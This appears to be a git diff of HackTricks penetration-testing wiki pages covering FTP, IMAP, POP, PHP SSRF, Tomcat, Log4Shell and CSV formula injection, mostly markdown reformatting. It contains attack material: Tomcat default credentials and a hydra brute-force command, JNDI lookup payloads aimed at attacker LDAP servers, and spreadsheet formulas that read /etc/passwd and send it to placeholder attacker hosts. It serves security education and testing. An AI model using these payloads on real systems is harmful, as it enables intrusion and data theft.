Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -79,7 +65,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

26
network-services-pentesting/pentesting-ftp/README.md
View file

@ -7,19 +7,11 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Basic Information
The **File Transfer Protocol (FTP)** serves as a standard protocol for file transfer across a computer network between a server and a client.\
@ -169,8 +161,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER username`**
* **`PASS password`**
* **`HELP`** The server indicates which commands are supported
* **`PORT 127,0,0,1,0,80`**This will indicate the FTP server to establish a connection with the IP 127.0.0.1 in port 80 (_you need to put the 5th char as "0" and the 6th as the port in decimal or use the 5th and 6th to express the port in hex_).
* **`EPRT |2|127.0.0.1|80|`**This will indicate the FTP server to establish a TCP connection (_indicated by "2"_) with the IP 127.0.0.1 in port 80. This command **supports IPv6**.
* \*\*`PORT 127,0,0,1,0,80`\*\*This will indicate the FTP server to establish a connection with the IP 127.0.0.1 in port 80 (_you need to put the 5th char as "0" and the 6th as the port in decimal or use the 5th and 6th to express the port in hex_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*This will indicate the FTP server to establish a TCP connection (_indicated by "2"_) with the IP 127.0.0.1 in port 80. This command **supports IPv6**.
* **`LIST`** This will send the list of files in current folder
* **`LIST -R`** List recursively (if allowed by the server)
* **`APPE /path/something.txt`** This will indicate the FTP to store the data received from a **passive** connection or from a **PORT/EPRT** connection to a file. If the filename exists, it will append the data.
@ -243,12 +235,6 @@ The default configuration of vsFTPd can be found in `/etc/vsftpd.conf`. In here,
* `ftp`
* `port:21`
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## HackTricks Automatic Commands
@ -312,7 +298,7 @@ Entry_7:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

21
network-services-pentesting/pentesting-imap.md
View file

@ -9,19 +9,11 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
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***
## Internet Message Access Protocol
The **Internet Message Access Protocol (IMAP)** is designed for the purpose of enabling users to **access their email messages from any location**, primarily through an Internet connection. In essence, emails are **retained on a server** rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done **directly from the server**. This capability allows for the convenience of checking emails from **multiple devices**, ensuring that no messages are missed regardless of the device used.
@ -62,7 +54,6 @@ Or **automate** this with **nmap** plugin `imap-ntlm-info.nse`
## Syntax
IAMP Commands examples from [here](https://donsutherland.org/crib/imap):
```
@ -129,6 +120,7 @@ Basic navigation is possible with [CURL](https://ec.haxx.se/usingcurl/usingcurl-
```bash
curl -k 'imaps://1.2.3.4/' --user user:pass
```
2. Listing messages in a mailbox (imap command `SELECT INBOX` and then `SEARCH ALL`)
```bash
@ -212,13 +204,6 @@ Entry_4:
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -228,7 +213,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

25
network-services-pentesting/pentesting-pop.md
View file

@ -7,24 +7,15 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
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***
## Basic Information
**Post Office Protocol (POP)** is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and **retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of **POP clients** typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, **POP3** stands out as the most prevalently employed version.
**Default ports:** 110, 995(ssl)
```
@ -157,18 +148,16 @@ Entry_6:
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21
network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md
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@ -9,22 +9,14 @@ Other ways to support HackTricks:
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***
### SSRF PHP functions
Some function such as _**file\_get\_contents(), fopen(), file(), md5\_file()**accept URLs as input that they will follow making **possible SSRF vulnerabilities** if the use can control the data:
Some function such as **file\_get\_contents(), fopen(), file(), md5\_file()** accept URLs as input that they will follow making **possible SSRF vulnerabilities** if the use can control the data:
```php
file_get_contents("http://127.0.0.1:8081");
@ -74,13 +66,6 @@ $context = stream_context_create($options);
$file = file_get_contents($url, false, $context);
```
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56
network-services-pentesting/pentesting-web/tomcat.md
View file

@ -7,19 +7,11 @@
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***
## Discovery
* It usually runs on **port 8080**
@ -30,31 +22,40 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
## Enumeration
### **Version Identification**
To find the version of Apache Tomcat, a simple command can be executed:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
This will search for the term "Tomcat" in the documentation index page, revealing the version in the title tag of the HTML response.
### **Manager Files Location**
Identifying the exact locations of **`/manager`** and **`/host-manager`** directories is crucial as their names might be altered. A brute-force search is recommended to locate these pages.
### **Username Enumeration**
For Tomcat versions older than 6, it's possible to enumerate usernames through:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Default Credentials**
The **`/manager/html`** directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:
- admin:admin
- tomcat:tomcat
- admin:<NOTHING>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
These credentials can be tested using:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
@ -62,23 +63,29 @@ msf> use auxiliary/scanner/http/tomcat_mgr_login
Another notable directory is **`/manager/status`**, which displays the Tomcat and OS version, aiding in vulnerability identification.
### **Brute Force Attack**
To attempt a brute force attack on the manager directory, one can use:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
Along with setting various parameters in Metasploit to target a specific host.
## Common Vulnerabilities
### **Password Backtrace Disclosure**
Accessing `/auth.jsp` may reveal the password in a backtrace under fortunate circumstances.
### **Double URL Encoding**
The CVE-2007-1860 vulnerability in `mod_jk` allows for double URL encoding path traversal, enabling unauthorized access to the management interface via a specially crafted URL.
In order to access to the management web of the Tomcat go to: `pathTomcat/%252E%252E/manager/html`
### /examples
Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
@ -105,13 +112,13 @@ Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible t
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Path Traversal Exploit**
In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`
So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
## RCE
Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
@ -247,25 +254,22 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## References
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
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72
pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md
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***
## Basic Information
JNDI, integrated into Java since the late 1990s, serves as a directory service, enabling Java programs to locate data or objects through a naming system. It supports various directory services via service provider interfaces (SPIs), allowing data retrieval from different systems, including remote Java objects. Common SPIs include CORBA COS, Java RMI Registry, and LDAP.
### JNDI Naming Reference
Java objects can be stored and retrieved using JNDI Naming References, which come in two forms:
- **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
- **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
* **Reference Addresses**: Specifies an object's location (e.g., _rmi://server/ref_), allowing direct retrieval from the specified address.
* **Remote Factory**: References a remote factory class. When accessed, the class is downloaded and instantiated from the remote location.
However, this mechanism can be exploited, potentially leading to the loading and execution of arbitrary code. As a countermeasure:
- **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
- **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` by default from JDK 7u21, restricting remote object loading. A Security Manager further limits what can be loaded.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` by default from JDK 6u141, 7u131, 8u121, blocking the execution of remotely loaded Java objects. If set to `true`, remote code execution is possible without a Security Manager's oversight.
* **CORBA**: Doesn't have a specific property, but the Security Manager is always active.
However, the **Naming Manager**, responsible for resolving JNDI links, lacks built-in security mechanisms, potentially allowing the retrieval of objects from any source. This poses a risk as RMI, LDAP, and CORBA protections can be circumvented, leading to the loading of arbitrary Java objects or exploiting existing application components (gadgets) to run malicious code.
Examples of exploitable URLs include:
- _rmi://attacker-server/bar_
- _ldap://attacker-server/bar_
- _iiop://attacker-server/bar_
* _rmi://attacker-server/bar_
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
Despite protections, vulnerabilities remain, mainly due to the lack of safeguards against loading JNDI from untrusted sources and the possibility of bypassing existing protections.
### JNDI Example
![](<../../.gitbook/assets/image (655) (1) (1).png>)
@ -58,15 +51,15 @@ Even if you have set a **`PROVIDER_URL`**, you can indicate a different one in a
CORBA (Common Object Request Broker Architecture) employs an **Interoperable Object Reference (IOR)** to uniquely identify remote objects. This reference includes essential information like:
- **Type ID**: Unique identifier for an interface.
- **Codebase**: URL for obtaining the stub class.
* **Type ID**: Unique identifier for an interface.
* **Codebase**: URL for obtaining the stub class.
Notably, CORBA isn't inherently vulnerable. Ensuring security typically involves:
- Installation of a **Security Manager**.
- Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
- Socket permission, e.g., ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
- File read permissions, either universally (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) or for specific directories where malicious files might be placed.
* Installation of a **Security Manager**.
* Configuring the Security Manager to permit connections to potentially malicious codebases. This can be achieved through:
* Socket permission, e.g., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* File read permissions, either universally (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) or for specific directories where malicious files might be placed.
However, some vendor policies might be lenient and allow these connections by default.
@ -112,24 +105,29 @@ Therefore, the only thing needed to get RCE a **vulnerable version of Log4j proc
## Overview of Log4Shell-Related CVEs
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Critical]**
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critical]**
This vulnerability is a critical **untrusted deserialization flaw** in the `log4j-core` component, affecting versions from 2.0-beta9 to 2.14.1. It allows **remote code execution (RCE)**, enabling attackers to take over systems. The issue was reported by Chen Zhaojun from Alibaba Cloud Security Team and affects various Apache frameworks. The initial fix in version 2.15.0 was incomplete. Sigma rules for defense are available ([Rule 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Rule 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critical]**
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Critical]**
Initially rated low but later upgraded to critical, this CVE is a **Denial of Service (DoS)** flaw resulting from an incomplete fix in 2.15.0 for CVE-2021-44228. It affects non-default configurations, allowing attackers to cause DoS attacks through crafted payloads. A [tweet](https://twitter.com/marcioalm/status/1471740771581652995) showcases a bypass method. The issue is resolved in versions 2.16.0 and 2.12.2 by removing message lookup patterns and disabling JNDI by default.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[High]**
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
Affecting **Log4j 1.x versions** in non-default configurations using `JMSAppender`, this CVE is an untrusted deserialization flaw. No fix is available for the 1.x branch, which is end-of-life, and upgrading to `log4j-core 2.17.0` is recommended.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Moderate]**
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
This vulnerability affects the **Logback logging framework**, a successor to Log4j 1.x. Previously thought to be safe, the framework was found vulnerable, and newer versions (1.3.0-alpha11 and 1.2.9) have been released to address the issue.
### **CVE-2021-45105** **[High]**
### **CVE-2021-45105** **\[High]**
Log4j 2.16.0 contains a DoS flaw, prompting the release of `log4j 2.17.0` to fix the CVE. Further details are in BleepingComputer's [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
Affecting log4j version 2.17, this CVE requires the attacker to control the configuration file of log4j. It involves potential arbitrary code execution via a configured JDBCAppender. More details are available in the [Checkmarx blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
## Log4Shell Exploitation
@ -265,7 +263,6 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
**Note:** This exploit hinges on Java's configuration to permit remote codebase loading via LDAP. If this is not permissible, consider exploiting a trusted class for arbitrary code execution.
### RCE - **JNDIExploit**
{% hint style="info" %}
@ -458,7 +455,7 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
> }{#}{######################################################}
> ```
>
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!**
> If the flag starts with `flagGuess`, the whole flag is replaced with 29 `#`-s (I used this character because it would likely not be part of the flag). **Each of the resulting 29 `#`-s is then replaced by 54 `#`-s**. This process is repeated **6 times**, leading to a total of ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
>
> Replacing so many `#`-s will trigger the 10-second timeout of the Flask application, which in turn will result in the HTTP status code 500 being sent to the user. (If the flag does not start with `flagGuess`, we will receive a non-500 status code)
@ -473,13 +470,6 @@ In this [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
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***
## Formula Injection
### Info
@ -52,29 +44,25 @@ The following example was taken from [https://payatu.com/csv-injection-basic-to-
Imagine a security breach in a Student Record Management system is exploited through a CSV injection attack. The attacker's primary intention is to compromise the system used by teachers to manage student details. The method involves the attacker injecting a malicious payload into the application, specifically by entering harmful formulas into fields meant for student details. The attack unfolds as follows:
1. **Injection of Malicious Payload:**
- The attacker submits a student detail form but includes a formula commonly used in spreadsheets (e.g., `=HYPERLINK("<malicious_link>","Click here")`).
- This formula is designed to create a hyperlink, but it points to a malicious server controlled by the attacker.
* The attacker submits a student detail form but includes a formula commonly used in spreadsheets (e.g., `=HYPERLINK("<malicious_link>","Click here")`).
* This formula is designed to create a hyperlink, but it points to a malicious server controlled by the attacker.
2. **Exporting Compromised Data:**
- Teachers, unaware of the compromise, use the application's functionality to export the data into a CSV file.
- The CSV file, when opened, still contains the malicious payload. This payload appears as a clickable hyperlink in the spreadsheet.
* Teachers, unaware of the compromise, use the application's functionality to export the data into a CSV file.
* The CSV file, when opened, still contains the malicious payload. This payload appears as a clickable hyperlink in the spreadsheet.
3. **Triggering the Attack:**
- A teacher clicks on the hyperlink, believing it to be a legitimate part of the student's details.
- Upon clicking, sensitive data (potentially including details from the spreadsheet or the teacher's computer) is transmitted to the attacker's server.
* A teacher clicks on the hyperlink, believing it to be a legitimate part of the student's details.
* Upon clicking, sensitive data (potentially including details from the spreadsheet or the teacher's computer) is transmitted to the attacker's server.
4. **Logging the Data:**
- The attacker's server receives and logs the sensitive data sent from the teacher's computer.
- The attacker can then use this data for various malicious purposes, further compromising the privacy and security of the students and the institution.
* The attacker's server receives and logs the sensitive data sent from the teacher's computer.
* The attacker can then use this data for various malicious purposes, further compromising the privacy and security of the students and the institution.
### RCE
**Check the [original post](https://notsosecure.com/data-exfiltration-formula-injection-part1) for further details.**
**Check the** [**original post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **for further details.**
In specific configurations or older versions of Excel, a feature called Dynamic Data Exchange (DDE) can be exploited for executing arbitrary commands. To leverage this, the following settings must be enabled:
- Navigate to File → Options → Trust Center → Trust Center Settings → External Content, and enable **Dynamic Data Exchange Server Launch**.
* Navigate to File → Options → Trust Center → Trust Center Settings → External Content, and enable **Dynamic Data Exchange Server Launch**.
When a spreadsheet with the malicious payload is opened (and if the user accepts the warnings), the payload is executed. For example, to launch the calculator application, the payload would be:
@ -92,22 +80,21 @@ Additional commands can also be executed, such as downloading and executing a fi
LibreOffice Calc can be used to read local files and exfiltrate data. Here are some methods:
- Reading the first line from the local `/etc/passwd` file: `='file:///etc/passwd'#$passwd.A1`
- Exfiltrating the read data to an attacker-controlled server: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Exfiltrating more than one line: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS exfiltration (sending read data as DNS queries to an attacker-controlled DNS server): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
* Reading the first line from the local `/etc/passwd` file: `='file:///etc/passwd'#$passwd.A1`
* Exfiltrating the read data to an attacker-controlled server: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrating more than one line: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS exfiltration (sending read data as DNS queries to an attacker-controlled DNS server): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets offers functions that can be exploited for OOB data exfiltration:
- **CONCATENATE**: Appends strings together - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Imports data from structured data types - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Imports RSS or ATOM feeds - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Imports data from HTML tables or lists - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Imports a range of cells from another spreadsheet - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Inserts an image into a cell - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
* **CONCATENATE**: Appends strings together - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Imports data from structured data types - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Imports RSS or ATOM feeds - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
